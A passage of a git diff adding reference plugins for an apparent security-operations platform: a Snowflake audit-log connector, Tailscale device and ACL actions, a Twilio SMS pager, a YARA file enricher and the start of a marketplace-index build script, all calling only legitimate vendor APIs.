json.Marshal(body)+ if err != nil {+ return nil, err+ }+ req, err := http.NewRequestWithContext(+ ctx, http.MethodPost,+ "https://slack.com/api/"+path,+ bytes.NewReader(buf),+ )+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+token)+ req.Header.Set("Content-Type", "application/json; charset=utf-8")++ resp, err := s.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ raw, _ := io.ReadAll(resp.Body)++ var result map[string]any+ if err := json.Unmarshal(raw, &result); err != nil {+ return nil, err+ }+ if ok, _ := result["ok"].(bool); !ok {+ errMsg, _ := result["error"].(string)+ if errMsg == "" {+ errMsg = "slack api error"+ }+ return result, errors.New("slack: " + errMsg)+ }+ return result, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&SlackQuarantineNotifier{}); err != nil {+ panic(err)+ }+ fmt.Println("slack-quarantine reference plugin loaded")+}diff --git a/plugins/snowflake-events/go/main.go b/plugins/snowflake-events/go/main.gonew file mode 100644index 000000000..92039b3e3--- /dev/null+++ b/plugins/snowflake-events/go/main.go@@ -0,0 +1,132 @@+// Package main is the Snowflake events connector reference implementation in Go.+//+// This skeleton uses gosnowflake (github.com/snowflakedb/gosnowflake) to pull+// recent login/query history from SNOWFLAKE.ACCOUNT_USAGE. It is provided as a+// reference for cross-language SDK parity; production deployments should pin+// dependencies via go.mod.+package main++import (+ "context"+ "database/sql"+ "errors"+ "fmt"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+ // _ "github.com/snowflakedb/gosnowflake"+)++// SnowflakeConnector implements aisoc.Connector for Snowflake account usage.+type SnowflakeConnector struct {+ aisoc.BasePlugin+}++func (s *SnowflakeConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "snowflake-events",+ Name: "Snowflake Events Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Polls login/query history from SNOWFLAKE.ACCOUNT_USAGE.",+ Author: "AiSOC Core Team",+ Tags: []string{"data", "snowflake", "warehouse", "events", "connector"},+ }+}++func (s *SnowflakeConnector) connect(pctx aisoc.PluginContext) (*sql.DB, error) {+ account, _ := pctx.Config["account"].(string)+ user, _ := pctx.Config["user"].(string)+ password, _ := pctx.Config["password"].(string)+ warehouse, _ := pctx.Config["warehouse"].(string)+ role, _ := pctx.Config["role"].(string)+ if account == "" || user == "" || password == "" || warehouse == "" {+ return nil, errors.New("account, user, password, warehouse are required")+ }+ if role == "" {+ role = "ACCOUNTADMIN"+ }+ dsn := fmt.Sprintf(+ "%s:%s@%s/?warehouse=%s&role=%s",+ user, password, account, warehouse, role,+ )+ return sql.Open("snowflake", dsn)+}++func (s *SnowflakeConnector) TestConnection(+ ctx context.Context,+ pctx aisoc.PluginContext,+) (bool, error) {+ db, err := s.connect(pctx)+ if err != nil {+ return false, err+ }+ defer db.Close()+ if err := db.PingContext(ctx); err != nil {+ return false, err+ }+ return true, nil+}++func (s *SnowflakeConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)++ if since == "" {+ since = time.Now().Add(-15 * time.Minute).UTC().Format(time.RFC3339)+ }++ db, err := s.connect(pctx)+ if err != nil {+ close(out)+ return out, err+ }++ go func() {+ defer close(out)+ defer db.Close()++ query := `SELECT EVENT_TIMESTAMP, USER_NAME, CLIENT_IP,+ REPORTED_CLIENT_TYPE, IS_SUCCESS, ERROR_MESSAGE+ FROM SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY+ WHERE EVENT_TIMESTAMP >= TO_TIMESTAMP_TZ(?)+ ORDER BY EVENT_TIMESTAMP DESC LIMIT 500`+ rows, err := db.QueryContext(ctx, query, since)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ defer rows.Close()++ cols, _ := rows.Columns()+ for rows.Next() {+ values := make([]any, len(cols))+ ptrs := make([]any, len(cols))+ for i := range values {+ ptrs[i] = &values[i]+ }+ if err := rows.Scan(ptrs...); err != nil {+ out <- map[string]any{"error": err.Error()}+ continue+ }+ event := map[string]any{"_aisoc_feed": "login_history"}+ for i, col := range cols {+ event[col] = values[i]+ }+ out <- event+ }+ }()++ return out, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&SnowflakeConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("snowflake-events reference plugin loaded")+}diff --git a/plugins/snowflake-events/plugin.py b/plugins/snowflake-events/plugin.pynew file mode 100644index 000000000..1b9bc55e1--- /dev/null+++ b/plugins/snowflake-events/plugin.py@@ -0,0 +1,116 @@+"""Snowflake events connector plugin for AiSOC.++Pulls login_history and query_history from SNOWFLAKE.ACCOUNT_USAGE.++Required config:+ - account, user, password, warehouse+ - role (default ACCOUNTADMIN)+ - poll_interval_seconds (default 300)++Payload shape:+ {+ "action": "test_connection" | "fetch_logins" | "fetch_queries",+ "since": "ISO-8601 timestamp",+ "limit": 500+ }++The official `snowflake-connector-python` package is required.+This plugin gracefully degrades if the dependency is missing.+"""+from __future__ import annotations++from datetime import datetime, timedelta, timezone+from typing import Any++try:+ import snowflake.connector # type: ignore[import-not-found]++ _SF = True+except ImportError:+ _SF = False+++class Plugin:+ """Snowflake events connector plugin."""++ def _connect(self, context: dict[str, Any]):+ config = context.get("config") or {}+ for k in ("account", "user", "password", "warehouse"):+ if not config.get(k):+ raise ValueError(f"{k} is required in plugin config")+ return snowflake.connector.connect(+ account=config["account"],+ user=config["user"],+ password=config["password"],+ warehouse=config["warehouse"],+ role=config.get("role") or "ACCOUNTADMIN",+ )++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _SF:+ return {+ "error": (+ "snowflake-connector-python not installed; "+ "run `pip install snowflake-connector-python`"+ )+ }++ action = payload.get("action", "fetch_logins")+ since = payload.get("since") or (+ datetime.now(timezone.utc) - timedelta(minutes=15)+ ).isoformat()+ limit = int(payload.get("limit", 500))++ try:+ conn = self._connect(context)+ except Exception as exc:+ return {"error": f"snowflake connect failed: {exc}"}++ try:+ cursor = conn.cursor()+ try:+ if action == "test_connection":+ cursor.execute("SELECT CURRENT_VERSION()")+ row = cursor.fetchone()+ return {"connected": True, "version": row[0] if row else None}+ if action == "fetch_logins":+ cursor.execute(+ f"""+ SELECT EVENT_TIMESTAMP, USER_NAME, CLIENT_IP,+ REPORTED_CLIENT_TYPE, FIRST_AUTHENTICATION_FACTOR,+ IS_SUCCESS, ERROR_MESSAGE+ FROM SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY+ WHERE EVENT_TIMESTAMP >= TO_TIMESTAMP_TZ(%s)+ ORDER BY EVENT_TIMESTAMP DESC+ LIMIT {limit}+ """,+ (since,),+ )+ rows = [+ {desc[0].lower(): val for desc, val in zip(cursor.description, row)}+ for row in cursor.fetchall()+ ]+ return {"action": action, "since": since, "events": rows}+ if action == "fetch_queries":+ cursor.execute(+ f"""+ SELECT START_TIME, USER_NAME, ROLE_NAME, WAREHOUSE_NAME,+ QUERY_TYPE, EXECUTION_STATUS, ROWS_PRODUCED,+ BYTES_SCANNED, QUERY_TEXT+ FROM SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY+ WHERE START_TIME >= TO_TIMESTAMP_TZ(%s)+ ORDER BY START_TIME DESC+ LIMIT {limit}+ """,+ (since,),+ )+ rows = [+ {desc[0].lower(): val for desc, val in zip(cursor.description, row)}+ for row in cursor.fetchall()+ ]+ return {"action": action, "since": since, "events": rows}+ return {"error": f"Unknown action: {action}"}+ finally:+ cursor.close()+ finally:+ conn.close()diff --git a/plugins/snowflake-events/plugin.yaml b/plugins/snowflake-events/plugin.yamlnew file mode 100644index 000000000..6f912a4f4--- /dev/null+++ b/plugins/snowflake-events/plugin.yaml@@ -0,0 +1,38 @@+id: snowflake-events+name: Snowflake Events Connector+version: "1.0.0"+plugin_type: connector+description: >+ Polls Snowflake account/login/query history from the SNOWFLAKE.ACCOUNT_USAGE+ schema. Useful for spotting anomalous queries, exfiltration patterns, and+ access from unexpected regions or service accounts.+author: AiSOC Core Team+tags: [data, snowflake, warehouse, events, connector, exfil]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/snowflake-events+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [account, user, password, warehouse]+ properties:+ account:+ type: string+ description: "Snowflake account identifier (e.g. xy12345.us-east-1)"+ user:+ type: string+ description: "Snowflake user with access to ACCOUNT_USAGE"+ password:+ type: string+ description: "Snowflake password or programmatic access token"+ secret: true+ warehouse:+ type: string+ description: "Warehouse used to run audit queries"+ role:+ type: string+ default: ACCOUNTADMIN+ description: "Role with access to SNOWFLAKE.ACCOUNT_USAGE"+ poll_interval_seconds:+ type: integer+ default: 300+ minimum: 60diff --git a/plugins/tailscale-acl/go/main.go b/plugins/tailscale-acl/go/main.gonew file mode 100644index 000000000..c52e9b988--- /dev/null+++ b/plugins/tailscale-acl/go/main.go@@ -0,0 +1,134 @@+// Package main is the Tailscale ACL action reference implementation in Go.+//+// Demonstrates the AiSOC Go Plugin SDK for an isolation/network response action+// against the Tailscale REST API.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++const tsAPIBase = "https://api.tailscale.com/api/v2"++// TailscaleACLAction implements aisoc.Action for the Tailscale API.+type TailscaleACLAction struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (t *TailscaleACLAction) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "tailscale-acl",+ Name: "Tailscale ACL Action",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Manage Tailscale devices and tailnet ACLs as response actions.",+ Author: "AiSOC Core Team",+ Tags: []string{"network", "tailscale", "zerotrust", "response", "isolation"},+ }+}++func (t *TailscaleACLAction) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ t.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (t *TailscaleACLAction) SupportedActions() []string {+ return []string{+ "list_devices",+ "get_device",+ "delete_device",+ "get_acl",+ "update_acl",+ }+}++func (t *TailscaleACLAction) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ apiKey, _ := pctx.Config["api_key"].(string)+ tailnet, _ := pctx.Config["tailnet"].(string)+ if apiKey == "" || tailnet == "" {+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Error: "api_key and tailnet are required",+ }, errors.New("api_key and tailnet are required")+ }++ switch req.ActionID {+ case "list_devices":+ body, err := t.do(ctx, apiKey, "GET",+ fmt.Sprintf("/tailnet/%s/devices", tailnet), nil, "")+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(body, &parsed)+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: "listed Tailscale devices",+ Details: parsed,+ }, nil+ case "delete_device":+ deviceID, _ := req.Params["device_id"].(string)+ _, err := t.do(ctx, apiKey, "DELETE", "/device/"+deviceID, nil, "")+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: fmt.Sprintf("deleted device %s", deviceID),+ }, nil+ default:+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Error: "unsupported action: " + req.ActionID,+ }, nil+ }+}++func (t *TailscaleACLAction) do(+ ctx context.Context,+ apiKey, method, path string,+ body []byte,+ contentType string,+) ([]byte, error) {+ req, err := http.NewRequestWithContext(ctx, method, tsAPIBase+path, nil)+ if err != nil {+ return nil, err+ }+ req.SetBasicAuth(apiKey, "")+ if contentType != "" {+ req.Header.Set("Content-Type", contentType)+ }+ resp, err := t.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ return nil, errors.New("tailscale api: " + resp.Status)+ }+ return io.ReadAll(resp.Body)+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&TailscaleACLAction{}); err != nil {+ panic(err)+ }+ fmt.Println("tailscale-acl reference plugin loaded")+}diff --git a/plugins/tailscale-acl/plugin.py b/plugins/tailscale-acl/plugin.pynew file mode 100644index 000000000..806bbc870--- /dev/null+++ b/plugins/tailscale-acl/plugin.py@@ -0,0 +1,89 @@+"""Tailscale ACL action plugin for AiSOC.++Supported actions:+ - list_devices: list all devices in the tailnet+ - get_device: fetch a single device by ID+ - delete_device: remove a device from the tailnet (forces re-auth)+ - get_acl: retrieve the current tailnet ACL policy (HuJSON)+ - update_acl: push a new ACL policy++Required config:+ - tailnet (e.g. example.com)+ - api_key (Tailscale API key, tskey-api-...)++Payload shape:+ {+ "action": "list_devices" | "get_device" | "delete_device"+ | "get_acl" | "update_acl",+ "device_id": "...",+ "acl": "<HuJSON string>" # for update_acl+ }+"""+from __future__ import annotations++from typing import Any++try:+ import httpx++ _HTTPX = True+except ImportError:+ _HTTPX = False+++_API_BASE = "https://api.tailscale.com/api/v2"+++class Plugin:+ """Tailscale ACL action plugin."""++ def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ config = context.get("config") or {}+ if "tailnet" not in config or "api_key" not in config:+ raise ValueError("tailnet and api_key are required in plugin config")+ return httpx.AsyncClient(+ base_url=_API_BASE,+ auth=(config["api_key"], ""),+ timeout=30,+ )++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _HTTPX:+ return {"error": "httpx not installed; run `pip install httpx`"}++ config = context.get("config") or {}+ tailnet = config.get("tailnet", "")+ action = payload.get("action", "list_devices")++ async with self._client(context) as client:+ if action == "list_devices":+ resp = await client.get(f"/tailnet/{tailnet}/devices")+ resp.raise_for_status()+ return {"action": action, "devices": resp.json().get("devices", [])}+ if action == "get_device":+ device_id = payload.get("device_id", "")+ resp = await client.get(f"/device/{device_id}")+ resp.raise_for_status()+ return {"action": action, "device": resp.json()}+ if action == "delete_device":+ device_id = payload.get("device_id", "")+ resp = await client.delete(f"/device/{device_id}")+ resp.raise_for_status()+ return {"action": action, "device_id": device_id, "deleted": True}+ if action == "get_acl":+ resp = await client.get(+ f"/tailnet/{tailnet}/acl",+ headers={"Accept": "application/hujson"},+ )+ resp.raise_for_status()+ return {"action": action, "acl": resp.text}+ if action == "update_acl":+ acl = payload.get("acl", "")+ resp = await client.post(+ f"/tailnet/{tailnet}/acl",+ content=acl,+ headers={"Content-Type": "application/hujson"},+ )+ resp.raise_for_status()+ return {"action": action, "updated": True}+ return {"error": f"Unknown action: {action}"}diff --git a/plugins/tailscale-acl/plugin.yaml b/plugins/tailscale-acl/plugin.yamlnew file mode 100644index 000000000..e382b8a13--- /dev/null+++ b/plugins/tailscale-acl/plugin.yaml@@ -0,0 +1,25 @@+id: tailscale-acl+name: Tailscale ACL Action+version: "1.0.0"+plugin_type: action+description: >+ Tailscale ACL action plugin. Lists devices, retrieves the current tailnet+ policy, suspends devices, and pushes ACL updates via the Tailscale API.+ Useful as an isolation step in account-takeover and lateral-movement+ playbooks.+author: AiSOC Core Team+tags: [network, tailscale, zerotrust, response, isolation]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/tailscale-acl+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [tailnet, api_key]+ properties:+ tailnet:+ type: string+ description: "Tailnet name, e.g. example.com or alice@github"+ api_key:+ type: string+ description: "Tailscale API key (tskey-api-...)"+ secret: truediff --git a/plugins/twilio-sms/go/main.go b/plugins/twilio-sms/go/main.gonew file mode 100644index 000000000..a6eeaf747--- /dev/null+++ b/plugins/twilio-sms/go/main.go@@ -0,0 +1,198 @@+// Package main is the Twilio SMS action reference implementation in Go.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// TwilioAction implements aisoc.Action for sending SMS via Twilio.+type TwilioAction struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (t *TwilioAction) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "twilio-sms",+ Name: "Twilio SMS Notifier",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Sends SMS messages via Twilio for paging and emergency notifications.",+ Author: "AiSOC Core Team",+ Tags: []string{"notification", "sms", "twilio", "paging", "action"},+ }+}++func (t *TwilioAction) OnLoad(_ context.Context, _ aisoc.PluginContext) error {+ t.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (t *TwilioAction) SupportedActions() []string {+ return []string{"send_sms", "bulk_send"}+}++func (t *TwilioAction) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ result := aisoc.ActionResult{+ ActionID: req.ActionID,+ DryRun: req.DryRun,+ Details: map[string]any{},+ }++ accountSID, _ := pctx.Config["account_sid"].(string)+ authToken, _ := pctx.Config["auth_token"].(string)+ fromNumber, _ := pctx.Config["from_number"].(string)+ if accountSID == "" || authToken == "" || fromNumber == "" {+ result.Error = "account_sid, auth_token, and from_number are required"+ return result, errors.New(result.Error)+ }++ body, _ := req.Params["body"].(string)+ if body == "" {+ body, _ = req.Params["message"].(string)+ }+ if body == "" {+ body = "AiSOC alert"+ }++ if req.DryRun {+ result.Success = true+ result.Summary = "dry-run: no SMS sent"+ result.Details["action"] = req.ActionID+ result.Details["body"] = body+ return result, nil+ }++ switch req.ActionID {+ case "send_sms":+ to, _ := req.Params["to"].(string)+ if to == "" {+ if def, ok := pctx.Config["default_recipients"].([]any); ok && len(def) > 0 {+ if first, ok := def[0].(string); ok {+ to = first+ }+ }+ }+ if to == "" {+ result.Error = "`to` recipient is required"+ return result, errors.New(result.Error)+ }+ raw, err := t.send(ctx, accountSID, authToken, fromNumber, to, body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ sid, _ := parsed["sid"].(string)+ result.Success = true+ result.Summary = "sent SMS " + sid + " to " + to+ result.Details["twilio"] = parsed+ return result, nil++ case "bulk_send":+ var recipients []string+ if list, ok := req.Params["recipients"].([]any); ok {+ for _, r := range list {+ if s, ok := r.(string); ok {+ recipients = append(recipients, s)+ }+ }+ }+ if len(recipients) == 0 {+ if def, ok := pctx.Config["default_recipients"].([]any); ok {+ for _, r := range def {+ if s, ok := r.(string); ok {+ recipients = append(recipients, s)+ }+ }+ }+ }+ if len(recipients) == 0 {+ result.Error = "no recipients configured"+ return result, errors.New(result.Error)+ }+ results := make([]map[string]any, 0, len(recipients))+ errCount := 0+ for _, to := range recipients {+ raw, err := t.send(ctx, accountSID, authToken, fromNumber, to, body)+ entry := map[string]any{"to": to}+ if err != nil {+ entry["error"] = err.Error()+ errCount+++ } else {+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ if sid, ok := parsed["sid"]; ok {+ entry["sid"] = sid+ }+ }+ results = append(results, entry)+ }+ result.Success = errCount < len(recipients)+ result.Summary = fmt.Sprintf(+ "bulk SMS: %d/%d delivered", len(recipients)-errCount, len(recipients),+ )+ result.Details["results"] = results+ return result, nil++ default:+ result.Error = "unknown action: " + req.ActionID+ return result, errors.New(result.Error)+ }+}++func (t *TwilioAction) send(+ ctx context.Context,+ accountSID, authToken, from, to, body string,+) ([]byte, error) {+ endpoint := fmt.Sprintf(+ "https://api.twilio.com/2010-04-01/Accounts/%s/Messages.json",+ accountSID,+ )+ form := url.Values{}+ form.Set("From", from)+ form.Set("To", to)+ form.Set("Body", body)+ req, err := http.NewRequestWithContext(+ ctx, http.MethodPost, endpoint, strings.NewReader(form.Encode()),+ )+ if err != nil {+ return nil, err+ }+ req.SetBasicAuth(accountSID, authToken)+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")+ resp, err := t.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ raw, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return raw, errors.New("twilio: " + resp.Status)+ }+ return raw, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&TwilioAction{}); err != nil {+ panic(err)+ }+ fmt.Println("twilio-sms reference plugin loaded")+}diff --git a/plugins/twilio-sms/plugin.py b/plugins/twilio-sms/plugin.pynew file mode 100644index 000000000..3933f7ed3--- /dev/null+++ b/plugins/twilio-sms/plugin.py@@ -0,0 +1,81 @@+"""Twilio SMS notifier action plugin for AiSOC."""+from __future__ import annotations++from typing import Any++import httpx+++class Plugin:+ """Twilio SMS plugin."""++ def _api_url(self, account_sid: str) -> str:+ return f"https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Messages.json"++ async def _send(+ self,+ account_sid: str,+ auth_token: str,+ from_number: str,+ to_number: str,+ body: str,+ ) -> dict[str, Any]:+ async with httpx.AsyncClient(timeout=30.0) as client:+ resp = await client.post(+ self._api_url(account_sid),+ auth=(account_sid, auth_token),+ data={"From": from_number, "To": to_number, "Body": body},+ )+ resp.raise_for_status()+ return resp.json()++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ config = context.get("config") or {}+ for k in ("account_sid", "auth_token", "from_number"):+ if not config.get(k):+ return {"error": f"{k} is required in plugin config"}++ account_sid = config["account_sid"]+ auth_token = config["auth_token"]+ from_number = config["from_number"]++ action = payload.get("action", "send_sms")+ body = payload.get("body") or payload.get("message") or "AiSOC alert"++ try:+ if action == "send_sms":+ to_number = payload.get("to") or (+ config.get("default_recipients") or [None]+ )[0]+ if not to_number:+ return {"error": "`to` recipient is required"}+ result = await self._send(+ account_sid, auth_token, from_number, to_number, body+ )+ return {"action": action, "ok": True, "sid": result.get("sid")}++ if action == "bulk_send":+ recipients = payload.get("recipients") or config.get(+ "default_recipients"+ )+ if not recipients:+ return {"error": "no recipients configured"}+ results = []+ for to_number in recipients:+ try:+ r = await self._send(+ account_sid, auth_token, from_number, to_number, body+ )+ results.append({"to": to_number, "sid": r.get("sid")})+ except httpx.HTTPError as exc:+ results.append({"to": to_number, "error": str(exc)})+ return {"action": action, "results": results}++ return {"error": f"Unknown action: {action}"}+ except httpx.HTTPStatusError as exc:+ return {+ "error": f"twilio error: {exc.response.status_code}",+ "body": exc.response.text[:512],+ }+ except httpx.HTTPError as exc:+ return {"error": f"twilio request failed: {exc}"}diff --git a/plugins/twilio-sms/plugin.yaml b/plugins/twilio-sms/plugin.yamlnew file mode 100644index 000000000..76edd025e--- /dev/null+++ b/plugins/twilio-sms/plugin.yaml@@ -0,0 +1,35 @@+id: twilio-sms+name: Twilio SMS Notifier+version: "1.0.0"+plugin_type: action+description: >+ Sends SMS messages via Twilio's REST API. Useful for paging on-call+ responders, emergency notifications, and out-of-band alerts when email+ or chat are unavailable.+author: AiSOC Core Team+tags: [notification, sms, twilio, paging, action]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/twilio-sms+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [account_sid, auth_token, from_number]+ properties:+ account_sid:+ type: string+ description: "Twilio Account SID"+ auth_token:+ type: string+ description: "Twilio auth token"+ secret: true+ from_number:+ type: string+ description: "Twilio phone number in E.164 format (e.g. +14155551234)"+ default_recipients:+ type: array+ items:+ type: string+ description: "Fallback recipients in E.164 format if none provided in payload"+supported_actions:+ - send_sms+ - bulk_senddiff --git a/plugins/yara-enricher/go/main.go b/plugins/yara-enricher/go/main.gonew file mode 100644index 000000000..f6e2c8baf--- /dev/null+++ b/plugins/yara-enricher/go/main.go@@ -0,0 +1,165 @@+// Package main is the YARA file enricher reference implementation in Go.+//+// This is a reference skeleton for the AiSOC Go Plugin SDK. Production builds+// should compile against go-yara (github.com/hillu/go-yara/v4) which links+// against libyara. The skeleton uses an exec fallback to the `yara` CLI to+// avoid the cgo dependency in the reference build.+package main++import (+ "context"+ "errors"+ "fmt"+ "os"+ "os/exec"+ "path/filepath"+ "strings"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// YaraEnricher implements aisoc.Enricher for file-based YARA scanning.+//+// The plugin treats the indicator value as a filesystem path. When the+// indicator type is "hash", a path lookup is attempted via Metadata["path"].+type YaraEnricher struct {+ aisoc.BasePlugin+}++func (y *YaraEnricher) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "yara-enricher",+ Name: "YARA File Enricher",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeEnricher,+ Description: "Scans files against a configurable set of YARA rules.",+ Author: "AiSOC Core Team",+ Tags: []string{"malware", "yara", "file-analysis", "enrichment"},+ }+}++func (y *YaraEnricher) Enrich(+ ctx context.Context,+ req aisoc.EnrichmentRequest,+ pctx aisoc.PluginContext,+) (aisoc.EnrichmentResult, error) {+ result := aisoc.EnrichmentResult{+ IndicatorType: req.IndicatorType,+ IndicatorValue: req.IndicatorValue,+ Enrichments: map[string]any{},+ Raw: map[string]any{},+ }++ rulesDir, _ := pctx.Config["rules_dir"].(string)+ if rulesDir == "" {+ rulesDir = "/opt/aisoc/yara-rules"+ }++ target := req.IndicatorValue+ if target == "" {+ if path, ok := req.Metadata["path"].(string); ok {+ target = path+ }+ }+ if target == "" {+ return result, errors.New("indicator_value (or metadata.path) is required")+ }+ if _, err := os.Stat(target); err != nil {+ return result, fmt.Errorf("target file not accessible: %w", err)+ }++ rules, err := loadRulePaths(rulesDir)+ if err != nil {+ return result, fmt.Errorf("loading YARA rules: %w", err)+ }+ if len(rules) == 0 {+ result.Enrichments["matches"] = []string{}+ result.Enrichments["message"] = "no YARA rules loaded"+ return result, nil+ }++ matches, err := scan(ctx, rules, target)+ if err != nil {+ return result, fmt.Errorf("yara scan failed: %w", err)+ }++ result.Enrichments["target"] = target+ result.Enrichments["rules_dir"] = rulesDir+ result.Enrichments["rule_files"] = rules+ result.Enrichments["matches"] = matches+ result.Raw["match_count"] = len(matches)++ if len(matches) > 0 {+ mal := true+ conf := 0.85+ result.Malicious = &mal+ result.Confidence = &conf+ result.Tags = append(result.Tags, "yara-match", "malware")+ result.Tags = append(result.Tags, matches...)+ } else {+ mal := false+ conf := 0.6+ result.Malicious = &mal+ result.Confidence = &conf+ }++ return result, nil+}++func loadRulePaths(dir string) ([]string, error) {+ entries, err := os.ReadDir(dir)+ if err != nil {+ return nil, err+ }+ var paths []string+ for _, entry := range entries {+ if entry.IsDir() {+ continue+ }+ ext := strings.ToLower(filepath.Ext(entry.Name()))+ if ext == ".yar" || ext == ".yara" {+ paths = append(paths, filepath.Join(dir, entry.Name()))+ }+ }+ return paths, nil+}++func scan(ctx context.Context, rules []string, target string) ([]string, error) {+ bin, err := exec.LookPath("yara")+ if err != nil {+ return nil, errors.New(+ "yara CLI not available; install yara or build with -tags=cgo against go-yara",+ )+ }+ args := []string{"-w", "-N"}+ args = append(args, rules...)+ args = append(args, target)+ cmd := exec.CommandContext(ctx, bin, args...)+ out, err := cmd.Output()+ if err != nil {+ var ee *exec.ExitError+ if errors.As(err, &ee) && ee.ExitCode() == 1 {+ return nil, nil+ }+ return nil, err+ }+ var matches []string+ for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {+ if line == "" {+ continue+ }+ fields := strings.Fields(line)+ if len(fields) > 0 {+ matches = append(matches, fields[0])+ }+ }+ return matches, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&YaraEnricher{}); err != nil {+ panic(err)+ }+ fmt.Println("yara-enricher reference plugin loaded")+}diff --git a/scripts/build_marketplace.py b/scripts/build_marketplace.pynew file mode 100644index 000000000..00096c2f3--- /dev/null+++ b/scripts/build_marketplace.py@@ -0,0 +1,435 @@+#!/usr/bin/env python3+"""Build the AiSOC marketplace index from on-disk content.++This script walks the canonical content directories and emits a single+authoritative ``marketplace/index.json`` describing every detection,+playbook, and plugin shipped with this repo.++Sources walked:++- ``detections/<category>/*.yaml`` - curated AiSOC detection rules+- ``playbooks/packs/v1/<category>/*.json`` - production playbook pack v1+- ``plugins/<plugin-id>/plugin.yaml`` - reference plugin manifests++The output schema is consumed by:++- ``apps/web/public/marketplace/index.json`` (UI fetches this directly)+- ``apps/web/src/components/marketplace/MarketplaceView.tsx``+- The "Sync Marketplace Index" CI workflow++The schema deliberately captures MITRE ATT&CK technique IDs so the+marketplace UI can offer a real coverage filter (the plan calls for a+"MITRE filter" specifically).++Usage:++ python3 scripts/build_marketplace.py # build & write+ python3 scripts/build_marketplace.py --check # fail if drift+ python3 scripts/build_marketplace.py --print # write to stdout+"""++from __future__ import annotations++import argparse+import datetime as dt+import json+import re+import sys+from pathlib import Path+from typing import Any, Iterable++import yaml++REPO_ROOT = Path(__file__).resolve().parent.parent+DETECTIONS_DIR = REPO_ROOT / "detections"+PLAYBOOKS_PACKS_DIR = REPO_ROOT / "playbooks" / "packs"+PLUGINS_DIR = REPO_ROOT / "plugins"+COMMUNITY_DETECTIONS_DIR = REPO_ROOT / "detections" / "community"+COMMUNITY_PLAYBOOKS_DIR = REPO_ROOT / "playbooks" / "community"+COMMUNITY_PLUGINS_DIR = REPO_ROOT / "plugins" / "community"++OUTPUT_PRIMARY = REPO_ROOT / "marketplace" / "index.json"+OUTPUT_PUBLIC = REPO_ROOT / "apps" / "web" / "public" / "marketplace" / "index.json"++DETECTION_CATEGORIES = {+ "cloud",+ "identity",+ "endpoint",+ "network",+ "application",+ "data-exfil",+}++# Skip these top-level dirs under detections/ when walking - they are+# not curated 